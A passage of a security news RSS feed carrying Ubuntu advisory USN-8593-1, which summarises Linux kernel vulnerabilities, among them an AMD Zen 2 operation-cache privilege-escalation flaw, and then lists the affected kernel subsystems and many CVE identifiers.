CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8593-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 09:46:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory management;
  - Memory Management;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KProbes tracing;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - AudioScience HPI driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367,
CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371,
CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375,
CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379,
CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839,
CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843,
CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847,
CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863,
CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875,
CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879,
CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883,
CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888,
CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892,
CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896,
CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900,
CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904,
CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908,
CVE-2026-63909, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912,
CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916,
CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920,
CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924,
CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928,
CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932,
CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936,
CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940,
CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944,
CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948,
CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952,
CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956,
CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960,
CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964,
CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968,
CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972,
CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976,
CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980,
CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984,
CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988,
CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992,
CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996,
CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000,
CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004,
CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008,
CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012,
CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017,
CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021,
CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025,
CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030,
CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038,
CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042,
CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050,
CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058,
CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062,
CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066,
CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070,
CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074,
CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078,
CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082,
CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086,
CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090,
